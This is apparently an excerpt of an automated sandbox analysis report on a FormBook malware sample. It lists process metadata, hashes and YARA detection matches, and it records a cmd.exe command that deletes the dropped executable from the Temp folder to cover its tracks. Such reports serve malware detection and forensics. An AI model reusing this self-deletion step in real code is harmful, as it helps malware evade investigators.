File Path Offset Length Completion Count Source Address Symbol

Target ID: 8

Start time: 15:19:15

Start date: 14/05/2022

Path: C:\Windows\SysWOW64\wuapp.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\wuapp.exe

Imagebase: 0x8e0000

File size: 35328 bytes

MD5 hash: C8EBA45CEF271BED6C2F0E1965D229EA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 
00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding 
dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group

File Activities

Analysis Process: wuapp.exe PID: 1112, Parent PID: 1860

General
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Reputation: moderate

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 12A3C7 NtReadFile

Target ID: 9

Start time: 15:19:20

Start date: 14/05/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del "C:\Users\user\AppData\Local\Temp\yldnat.exe"

Imagebase: 0x4a3d0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

File Path Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Temp\yldnat.exe success or wait 1 4A3DA7BD DeleteFileW

⊘ No disassembly

File Activities

File Read

Analysis Process: cmd.exe PID: 2960, Parent PID: 1112

General

File Activities

File Deleted

Disassembly
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